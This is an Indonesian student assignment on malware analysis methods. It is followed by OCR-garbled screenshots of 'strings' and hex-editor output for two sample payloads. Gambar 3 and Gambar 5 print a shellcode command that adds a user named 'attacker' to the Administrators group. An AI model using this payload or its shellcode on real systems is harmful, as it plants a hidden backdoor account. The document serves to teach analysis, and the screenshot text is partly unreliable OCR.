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MALWARE THREATS: PAYLOAD

Analisa malware adalah suatu aktivitas yang kerap dilakukan oleh sejumlah praktisi
keamanan teknologi informasi untuk mendeteksi ada atau tidaknya komponen subprogram atau
data yang bertujuan jahat dalam sebuah file elektronik. Analisa atau kajian ini sangat penting
karena:

e Malware sering diselundupkan melalui file-file umum dan popular seperti aplikasi (.exe),
pengolah kata (.doc), pengolah angka (.xls), gambar (.jpg), dan lain sebagainya — sehingga jika
pengguna awam mengakses dan membukanya, akan langsung mejadi korban program jahat
seketika;

e Malware sering diselipkan di dalam kumpulan file yang dibutuhkan untuk menginstalasi sebuah
program atau aplikasi tertentu, sehingga jika sang pengguna melakukan instalasi terhadap aplikasi
dimaksud, maka seketika itu juga malware diaktifkan;
e Malware sering disamarkan dengan menggunakan nama file yang umum dipakai dalam berbagai
keperluan, seperti driver (.drv), data (.dat), library (.lib), temporary (.tmp), dan lain-lain — sehingga
pengguna tidak sadar akan kehadirannya di dalam komputer yang bersangkutan;
e Malware sering dikembangkan agar dapat menularkan dirinya ke tempattempat lain, dengan cara
kerja seperti virus atau worms — sehingga komputer pengguna dapat menjadi atau sumber program
berbahaya;

e Malware sering ditanam di dalam sistem komputer tanpa diketahui oleh sang pengguna —
sehingga sewaktu-waktu dapat disalahgunakan oleh pihak yang tidak berwenang untuk melakukan

berbagai tindakan kejahatan; dan lain sebagainya.

Pada dasarnya malware adalah sebuah program, yang disusun berdasarkan tujuan tertentu
dengan menggunakan logika dan algoritma yang relevan dengannya. Oleh karena itulah maka
model analisa yang biasa dipergunakan untuk mengkaji malware sangat erat kaitannya dengan
ilmu dasar komputer, yaitu: bahasa pemrograman, algoritma, struktur data, dan rekayasa piranti
lunak. Secara umum, ada 3 (tiga) jenis analisa terhadap sebuah program untuk mendeteksi apakah
yang bersangkutan merupakan malware atau bukan. Ketiga pendekatan dimaksud akan dijelaskan

dalam masing-masing paparan sebagai berikut.



Surface Analysis. Sesuai dengan namanya, “surface analysis” adalah suatu kajian
pendeteksian malware dengan mengamati sekilas ciri-ciri khas sebuah file program tanpa harus
mengeksekusinya. Untuk melihat ciri khas tersebut dapat dilakukan dengan menggunakan bantuan
software atau perangkat aplikasi pendudukung. Analisa ini memiliki ciri-ciri sebagai berikut:
e Program yang dikaji tidak akan dijalankan, hanya akan dilihat “bagian luarnya” saja (sebagai
analogi selayaknya orang yang ingin membeli buahbuahan, untuk mengetahui apakah buah yang
bersangkutan masih mentah atau sudah busuk cukup dengan melihat permukaan kulitnya,
membauinya, dan meraba-raba tekstur atau struktur kulitnya). Dari sini akan dicoba ditemukan
hal-hal yang patut untuk dicurigai karena berbeda dengan ciri khas program kebanyakan yang

serupa;

e Sang pengkaji tidak mencoba untuk mempelajari “source code” program yang bersangkutan
untuk mempelajari algoritma maupun struktur datanya (sebagaimana layaknya melihat sebuah
kotak hitam atau “black box”. Saat ini cukup banyak aplikasi yang bebas diunduh untuk membantu
melakukan kegiatan surface analysis ini, karena cukup banyak prosedur kajian yang perlu
dilakukan, seperti misalnya: HashTab dan digest.exe (Hash Analysis), TrID (File Analysis),
BinText dan strings.exe (String Analysis), HxD (Binary Editor), CFF Explorer (Pack Analysis),
dan 7zip (Archiver)

Runtime Analysis. Pada dasarnya ada kesamaan antara runtime analysis dengan surface
analysis, yaitu keduanya sama-sama berada dalam ranah mempelajari ciri-ciri khas yang
selayaknya ada pada sebuah program yang normal. Bedanya adalah bahwa dalam runtime analysis,
dipersiapkan sebuah prosedur dan lingkungan untuk mengeksekusi atau menjalankan program
yang dicurigai mengandung atau sebagai malware tersebut. Model analisa ini menghasilkan kajian
yang lebih mendalam karena selain dihilangkannya proses “menduga-duga”, dengan
mengeksekusi malware dimaksud akan dapat dilihat “perilaku” dari program dalam menjalankan
“skenario jahatnya” sehingga selanjutnya dapat dilakukan analisa dampak terhadap sistem yang
ada. Oleh karena itulah maka aplikasi pendukung yang dipergunakan harus dapat membantu
mensimulasikan kondisi yang diinginkan, yaitu melihat ciri khas dan karakteristik sistem, sebelum
dan sesudah sebuah malware dieksekusi. Agar aman, maka program utama yang perlu dimiliki
adalah software untuk menjalankan virtual machine, seperti misalnya: VMWare, VirtualBoz,

VirtualPC, dan lain sebagainya. Sementara itu aplikasi pendukung lainnya yang kerap



dipergunakan dalam melakukan kajian ini adalah: Process Explorer, Regshot, Wireshark,
TCPView, Process Monitor, FUNdelete, Autoruns, Streams/ADSSpy, dan lain-lain. Keseluruhan
aplikasi tersebut biasanya dijalankan di sisi klien; sementara di sisi server-nya diperlukan
FakeDNS, netcat/ncat, tcpdump/tshark, dan lain sebagainya.

Static Analysis. Dari ketiga metode yang ada, static analysis merupakan model kajian yang
paling sulit dilakukan karena sifat analisanya yang “white box” alias pengkajian melibatkan proses
melihat dan mempelajari isi serta algoritma program malware dimaksud, sambil mengamati
sekaligus menjalankan/mengeksekusinya. Karena sifat dan ruang lingkupnya yang cukup luas dan
mendalam, strategi khusus perlu dipersiapkan untuk melakukan kajian ini. Disamping itu, kajian
ini juga memerlukan sumber daya yang khusus — misalnya adalah SDM yang memiliki
pengetahuan dan pengalaman dalam membuat serta membaca program berbahasa mesin atau
rakitan (assembly language) serta ahli arsitektur dan organisasi piranti komputasi seperti
komputer, PDA, tablet, mobile phone, dan lain sebagainya. Cukup banyak aplikasi pendukung
yang diperlukan, tergantung dari kompleksitas malware yang ada. Contohnya adalah: IDA Pro
(Disassembler); Hex-Rays, .NET Reflector, and VB Decompiler (Decompiler); MSDN Library,
Google (Library); OllyDbg, Immunity Debugger, WinDbg/Syser (Debugger); HxD, WinHex,
010editor (Hex Editor); Python, Lunux Shell/Cygwin/MSY'S (Others); dan lain-lain.

Dalam tugas ini saya menggunakan dynamic analysis sebagai metode analisis malware,
dengan bantuan tools strings dan Ghex. Dengan bantuan tools strings, masukkan perintah #strings
payload.exe dan #strings payload2.exe. dimana payload.exe dan payload.2.exe adalah nama file
malware. Pengekstraksan payload.exe dan payload2.exe dapat dilihat pada gambar 1, gambar 2, dan
gambar 3. Sedangkan gambar 4 dan gambar 5 adalah hasil pengekstrakan file payload.exe dan

payload2.exe menggunakan tools Ghex.



Menggunakan tools: Strings

Terminal

File Edit View Terminal Tabs Help
@leny-Satellite-Pro-C640
K 1 $ sudo su
1 password for len

#1s

payload2.exe payload.exe
payloads # strings payload.exe

!This program cannot be run in DOS mode.

Rich

2 1) @ 1445 B

= B B & © Metode Analisa Malware | J... [ Terminal ]

Gambar 1. Payload.exe



Terminal

File Edit View Terminal Tabs Help
Licensed to The Apache Software Foundation, http://www.apache.org/<br>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/<br>
This is ApacheBench, Version
$Revision: 655654 %
Licensed to The Apache Software Foundatien, http://www.apache.org/
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
[This is ApacheBench, Version %s
2.3 <$Revision: 655654 $>
Display usage information (this message)
Don't exit on socket receive errors.
filename output €SV file with percentages served
g filename Output collected data to gnuplot format fil
ce estimators and warnings.
les served table.

Print version number and exit
proxy:port  Proxyserver and port number to use
attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
attribute Add Basic WwwW Authentication, the attributes

Inserted after all normal header lines. (repeatable)
attribute Add Arbi eade 'Accept-Encoding
attribute Add cockie, eg. 'Apache=1234. (repeatable)
attributes String to insert as td or th attributes
attributes String to insert as tr at

¢ attributes String to insert as table attributes

Use HEAD instead of GET

Print out results in HTML tables
verbosity How much troubleshooting info to print

Default is 'text/plain’

'application/x-www-form-urlencod

t e Content-type header for POSTing, eg.
putfile File containing data to PUT. Remember also to set -T
postfile File containing data to POST. Remember also to set -T
windowsize Size of TCP send/receive buffer, in bytes
t timelimit Seconds to max. wait for responses
concurrency Number of multiple requests to make
Number of requests to perform

1 [http://]hostname[:port]/path

= B B & @ etode Analisa Malware | ... erminal

Gambar 2. Payload.exe

Terminal

File Edit View Terminal Tabs Help
thread was provided and one was required.
socket was provided and one was required.
poll structure was provided and one was required.
lock was provided and one was required.
directory was provided and one was required.
time was provided and one was required.
process was provided and one was required.
invalid socket was returned
invalid date has been provided

A new pool could not be created.

Unrecognized Win32 error code

Cancello

GetCompressedFileSizeA

GetCompressedFileSizeW
QueryInformationFile

GetSecurityInfo

GetNamedSecurityInfoA

GetNamedSecurityInfowW

GetEffectiveRightsFromAclW

C:\locale\asf\release\build-2.2.14\support\Release\ab.pdb
0 # strings payload2.exe

net user attacker Gantengl /ADD && net localgroup Administrators atta

# strings payload2.exe

o /c net user attacker Gantengl /ADD && net localgroup Admini
cker /ADD

= B B & @ etode Analisa Malware | ... erminal

Gambar 3. Payload2.exe
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Menggunakan tools: Ghex

payload.exe - GHex

File Edit View Windows Help

D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40
0000001Fe0 00 00 00 00 0O 0O 0O 00 0O 0O OO0 00 0O 0O 0O 00 00 00 00 00 00 00 0O 0O
3E00 00 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67
0000005DEE 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D
0600007C/00 00 60 00 93 38 FO D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45 92 85 D3

9B[85 DE 59 9E 85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 9E 85 D7 59 OF 85

BA[C3 85 DF 59 9E 85 83 7A AE 85 FF 59 OE 85 10 5F 98 85 D6 59 9E 85 52 69 63
060606DI9E0 00 60 00 00 OO 00 6O 00 0O 00 60 GO 00 00 50 45 00 00 4C 01 04 00 47 71
800 00 00 0O EO 60 OF 01 6B @1 06 00 00 BO 00 0O 00 A0 00 00 0O GO 0O 0O 8D
00000117/00 00 CO 00 00 00 00 40 00 00 10 00 GO 00 10 0O 00 04 00 0O 00 00 0O 60 00
00000136/00 00 00 60 01 00 00 10 00 00 00 00 GO 00 02 GO0 60 00 00 6O 160 00 00 10 00
06000155/10 00 00 00 60 00 00 10 00 00 00 00 GO 00 0O GO 60 00 00 6C C7 00 0O 78 0O
00000174/C8 07 00 00 60 00 00 6O 00 00 00 00 GO 00 0O 0O 60 0O 00 0O 00 00 00 60 00
00000193/00 1C 00 00 00 00 00 6O 00 00 00 00 GO 0O 0O GO 00 00 OO 0O 00 00 0O 60 0O
000001B2/00 00 00 00 00 00 00 6O 00 00 00 00 GO 00 0O CO 00 00 EO 01 00 00 0O 60 0O
000001D1/e0 00 00 00 00 00 00 6O 00 00 00 OO0 GO B0 00 2E 74 65 78 74 00 00 00 66 A9
000OO1FOE0 BO 00 00 00 10 00 6O 00 00 00 OO0 GO 0O 0O GO OO0 00 OO 0O 20 00 00 60 2E
000OO20F00 E6 OF 00 00 00 CO 6O 00 00 10 00 GO 00 CO GO 00 00 OO 0O 00 00 0O 60 0O
0000O22E00 40 2E 64 61 74 61 00 00 00 5C 70 GO0 00 0O DO 00 00 0O 40 00 00 00 DO 0O
0000024D[00 00 00 00 00 00 00 40 00 00 CO 2E 72 73 72 63 00 00 00 C8 07 00 00 0O 50
0000026C/00 10 01 00 00 00 00 6O 00 00 00 00 GO 0O 0O GO 40 00 00 40 00 00 00 6O 0O

0A 24 00 00 00 jnnot be run in DOS mode....$...
9E 85 54 45 90 [..... e oWe s
20V oolPnocaoctfacao el
..Y... ...Y..Rich.Y...

L.!This program ca

Ve oolasalBsoalsolEs

..6q.I....
coocao

Signed 8 bit: | 90 Signed 32 bit: | 50368602

Unsigned 8 bit: | 60 Unsigned 32 bit: | 50368602

Signed 16 bit: | 28582 Float 32 bit: | 3,778153¢-37

Unsigned 16 bit:| 36954 Float 64 bit: | 2,0522680-289

[E show little endian decoding

Offset: 0x1

wj “ ! @ ILJ [Metode Analisa Malware U...I@ payload.exe - GHex IE payloads - File Manager I

Gambar 4. Payload.exe

[ Show unsigned and float as hexadecimal

Hexadecimal:
Octal:
Binary:

Stream Length:

|54

| 132

| 01011010

E ‘—|+

2 ) @116 B



payload2.exe - GHex -+ x

File Edit View Windows Help

[0000E00E[SC E8 82 00 00 0O 60 89 E5 31 CO 64 8B 50 30 8B 52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC| [.l..... T..1.d.Pe.R..R..r(..J&1..[
000PBOLF3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B <al., ....... RW.R..J<.L.x.H..Q.
00000O3ES9 20 061 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E@ 75 F6 03 7D F8 3B Y ...I..:I.4...1.....
0000005D|7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 DO 89 44 24 24 5B 5B 61f J$u.X.X$..T. . K.X.
0000007C|59 5A 51 FF E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 61 8D 85 B2 00 00 00 50 68 31 8B 6F 87 FF D5 BB FO| YZQ.. Z....]j...
0000009BBS A2 56 68 A6 95 BD 9D FF D5 3C 06 7C GA 80 FB EO® 75 @5 BB 47 13 72 6F 6A 00 53 FF D5 63 6D |..Vh...... <.]....u..G.roj.5..cm
Al64 2E 65 78 65 20 2F 63 20 6E 65 74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74| d.exe /c net user attacker Gant
)9/65 6E 67 31 20 2F 41 44 44 20 26 26 20 6E 65 74 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D| |lengl /ADD && net localgroup Adm
869 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44 00 linistrators attacker /ADD.
Y
Signed 8 bit: | -4 Signed 32 bit: | 8579324 Hexadecimal: | FC

Unsigned 8 bit: | 252 Unsigned 32 bit: | 8579324 Octal: | 374

Signed 16 bit: 5892 Float 32 bit: | 1,202219e-38 Binary: | 11111100

Unsigned 16 bit:| 59644 Float 64 bit: | -1,587866e-263 Stream Length: 8 -]+
[E) Show little endian decoding ["] Show unsigned and float as hexadecimal
Offset: 0x0
@ B ! (=] {éj [Metode Analisa Malware UA..J@ payload2.exe - GHex IE payloads - File Manager I 27t @ 147 B

Gambar 5. Payload2.exe



